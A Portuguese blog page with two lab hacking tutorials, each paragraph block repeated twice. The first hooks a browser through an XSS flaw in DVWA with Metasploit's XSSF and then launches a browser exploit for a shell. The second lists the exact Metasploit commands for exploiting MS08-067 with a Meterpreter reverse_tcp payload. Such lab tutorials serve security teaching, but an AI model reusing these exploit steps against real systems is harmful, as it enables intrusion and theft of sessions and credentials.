Cross Site Scripting é uma vulnerabilidade
encontrada em aplicações, que existe quando a mesma não implementa
mecanismos de validação de entradas dos dados fornecidos pelos usuários à
aplicação. Existem casos em que a validação existe, porém, não é
suficiente ou bem implementada, permitindo desta forma a possibilidade
de executar scripts no browser do usuário.
Os ataques que exploram esta vulnerabilidade, na grande maioria dos casos, visam comprometer a segurança do usuário que utiliza a aplicação, conhecido como ataques client-side. Estes ataques incluem, captura de cookies de sessão, dados dos usuários, credenciais, criação de sites falsos (phishing), entre outros.
No Metasploit existe um framework ainda em fase de testes chamado XSSF, criado para facilitar a exploração de Cross Site Scripting, realizei uns testes bastantes satisfatórios, onde foi possível conseguir desde informações do navegador do usuário até a exploração de vulnerabilidades do browser com execução de comandos.
Para utilizar o framework é necessário fazer o download em http://www.metasploit.com/redmine/attac ... 6/XSSF.zip e extrair o arquivo dentro do diretório do Metasploit.
Tendo extraído o arquivo, basta executar a console do Metasploit e utilizar o comando load, conforme imagem ilustra.

Quando executado o XSSF habilita um Web server contendo um código javascript que deverá ser executado no browser da vítima, sendo assim ele gera uma URL para uso de engenharia social, onde o atacante deve fornecer para o usuário. Neste caso a URL gerada foi: http://192.168.2.103:8888/loop.
Para demonstração foi utilizado uma vulnerabilidade de XSS encontrado na aplicação Web Damn Vulnerable Web App (DVWA) e executado a injeção do script.

Para verificar se o código foi executado no browser do usuário, executa-se o comando “xssf_active_victms”

Verificou-se que existe uma conexão ativa oriunda do browser Internet Explorer, com o comando “xssf_information”, é possível obter mais informações.

O framework possui alguns módulos onde é possível interagir com o browser atacado. Nas imagens abaixo é possível verificar o uso do módulo auxiliary/xssf/alert.

Após a execução do módulo é possível verificar no browser do usuário a janela do alert executado.

Bem desta forma é possível obter outras informações tais como cookies de sessão, acesso ao clipboard entre outros.
Dado o nível de interação existente com o browser do usuário, é possível ainda executar exploits para explorar vulnerabilidades client-side.
Para exemplificar foi disparado contra o browser do usuário o exploit ms10_046_shortcut_icon_dllloader. As imagens ilustram a configuração e execução do exploit.



Desta forma, é possível verificar que o exploit foi executado com sucesso e retornou para o atacante uma shell para execução de comandos.

Com este post é possível mostrar o quanto um simples Cross Site Scripting refletido pode se tornar perigoso devido as grandes investidas contra a segurança client-side.
Os ataques que exploram esta vulnerabilidade, na grande maioria dos casos, visam comprometer a segurança do usuário que utiliza a aplicação, conhecido como ataques client-side. Estes ataques incluem, captura de cookies de sessão, dados dos usuários, credenciais, criação de sites falsos (phishing), entre outros.
No Metasploit existe um framework ainda em fase de testes chamado XSSF, criado para facilitar a exploração de Cross Site Scripting, realizei uns testes bastantes satisfatórios, onde foi possível conseguir desde informações do navegador do usuário até a exploração de vulnerabilidades do browser com execução de comandos.
Para utilizar o framework é necessário fazer o download em http://www.metasploit.com/redmine/attac ... 6/XSSF.zip e extrair o arquivo dentro do diretório do Metasploit.
Tendo extraído o arquivo, basta executar a console do Metasploit e utilizar o comando load, conforme imagem ilustra.
Quando executado o XSSF habilita um Web server contendo um código javascript que deverá ser executado no browser da vítima, sendo assim ele gera uma URL para uso de engenharia social, onde o atacante deve fornecer para o usuário. Neste caso a URL gerada foi: http://192.168.2.103:8888/loop.
Para demonstração foi utilizado uma vulnerabilidade de XSS encontrado na aplicação Web Damn Vulnerable Web App (DVWA) e executado a injeção do script.
Para verificar se o código foi executado no browser do usuário, executa-se o comando “xssf_active_victms”
Verificou-se que existe uma conexão ativa oriunda do browser Internet Explorer, com o comando “xssf_information”, é possível obter mais informações.
O framework possui alguns módulos onde é possível interagir com o browser atacado. Nas imagens abaixo é possível verificar o uso do módulo auxiliary/xssf/alert.
Após a execução do módulo é possível verificar no browser do usuário a janela do alert executado.
Bem desta forma é possível obter outras informações tais como cookies de sessão, acesso ao clipboard entre outros.
Dado o nível de interação existente com o browser do usuário, é possível ainda executar exploits para explorar vulnerabilidades client-side.
Para exemplificar foi disparado contra o browser do usuário o exploit ms10_046_shortcut_icon_dllloader. As imagens ilustram a configuração e execução do exploit.
Desta forma, é possível verificar que o exploit foi executado com sucesso e retornou para o atacante uma shell para execução de comandos.
Com este post é possível mostrar o quanto um simples Cross Site Scripting refletido pode se tornar perigoso devido as grandes investidas contra a segurança client-side.
Explorando a Vulnerabilidade MS08-067
Esse é um tutorial que é bem básico, mas é essencial para que no futuro possamos estudar mais a fundo os recursos do Metasploit.
O cenário para este ataque é uma máquina rodando linux com o Metasploit instalado e uma com o Windows XP SP1 vulnerável a MS08_067_netapi.
Com as máquinas na mesma rede, vamos ver o ip de cada uma delas.
Na máquina linux basta dar um ifconfig

Na máquina windows abra uma tela de prompt e de um ipconfig

Agora vamos inicar o Metasploit, dando o comando msfconsole

Como já sabemos qual a vulnerabilidade que vamos explorar, vamos fazer uma busca no Metasploit e descobrir o caminho correto do exploit. Para isso vamos usar o comando search ms08_067_netapi

Pronto, ele nos retornou o caminho, agora vamos selecionar o exploit usando o seguinte comando use exploit/windows/smb/ms08_067_netapi

Vamos agora definir o PAYLOAD que vamos utilizar, neste caso eu vou usar uma conexão reversa então use o comando set PAYLOAD windows/meterpreter/reverse_tcp para definir este PAYLOAD.

Precisamos ver quais parametros nosso exploit vai precisar para atacar a máquina alvo, para isso usaremos o comando show options

Podemos ver claramente na coluna Current Setting que existem dois valores ainda não definidos e que são necessários, que são o RHOST e o LHOST. Vamos definir o LHOST que é nosso IP local, então o comando fica assim set LHOST 10.0.0.7

Para definir o RHOST daremos o seguinte comando set RHOST 10.0.0.8 lembrando que o IP da máquina alvo é 10.0.0.8

Vamos dar novamente o comando show options para ver se ficou faltando algum parametro

Bem como parece estar tudo ok, vamos lançar nosso exploit e ver se da certo. Para isso basta digitar exploit

Show ! Aqui podemos ver que uma sessão foi aberta, isso quer dizer que o alvo foi invadido com sucesso.
Bem esse é o primeiro passo para o estudo do metasploit, será daqui que faremos os ataques mais avançados.
O cenário para este ataque é uma máquina rodando linux com o Metasploit instalado e uma com o Windows XP SP1 vulnerável a MS08_067_netapi.
Com as máquinas na mesma rede, vamos ver o ip de cada uma delas.
Na máquina linux basta dar um ifconfig
Na máquina windows abra uma tela de prompt e de um ipconfig
Agora vamos inicar o Metasploit, dando o comando msfconsole
Como já sabemos qual a vulnerabilidade que vamos explorar, vamos fazer uma busca no Metasploit e descobrir o caminho correto do exploit. Para isso vamos usar o comando search ms08_067_netapi
Pronto, ele nos retornou o caminho, agora vamos selecionar o exploit usando o seguinte comando use exploit/windows/smb/ms08_067_netapi
Vamos agora definir o PAYLOAD que vamos utilizar, neste caso eu vou usar uma conexão reversa então use o comando set PAYLOAD windows/meterpreter/reverse_tcp para definir este PAYLOAD.
Precisamos ver quais parametros nosso exploit vai precisar para atacar a máquina alvo, para isso usaremos o comando show options
Podemos ver claramente na coluna Current Setting que existem dois valores ainda não definidos e que são necessários, que são o RHOST e o LHOST. Vamos definir o LHOST que é nosso IP local, então o comando fica assim set LHOST 10.0.0.7
Para definir o RHOST daremos o seguinte comando set RHOST 10.0.0.8 lembrando que o IP da máquina alvo é 10.0.0.8
Vamos dar novamente o comando show options para ver se ficou faltando algum parametro
Bem como parece estar tudo ok, vamos lançar nosso exploit e ver se da certo. Para isso basta digitar exploit
Show ! Aqui podemos ver que uma sessão foi aberta, isso quer dizer que o alvo foi invadido com sucesso.
Bem esse é o primeiro passo para o estudo do metasploit, será daqui que faremos os ataques mais avançados.
Nenhum comentário:
Postar um comentário